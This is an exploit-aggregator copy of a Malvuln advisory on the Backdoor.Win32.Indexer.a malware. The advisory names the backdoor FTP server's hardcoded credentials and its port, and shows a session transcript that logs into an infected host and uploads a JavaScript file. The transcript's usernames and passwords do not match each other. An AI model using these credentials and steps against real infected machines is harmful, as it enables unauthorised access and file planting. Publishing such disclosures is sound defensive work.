Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials

CVE Category Price Severity
Not specified CWE-798 Not specified High
Author Risk Exploitation Type Date
Not specified High Local 2021-02-16
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP port 47885 and uses several weak hardcoded credentials "Ronald Reagen", "Boris Becker", "Donald Duck". The credentials can be easily veiwed in the binary using strings util. This can allow anyone with up front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files: 
Disclosure: 02/15/2021

TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready                                                                                                
USER Ronald                                                                                                             
331 Password required for Donald.                                                                                       
PASS Reagen                                                                                                              
230 User Donald logged in.                                                                                              
250 CWD command successful. "C:/TEMP/" is current directory.                                                            
227 Entering Passive Mode (192,168,1,10,194,197).                                                                                                                                                            
STOR 1.js                                                                                                               
150 Opening data connection for 1.js.                                                                                   
226 File received ok      

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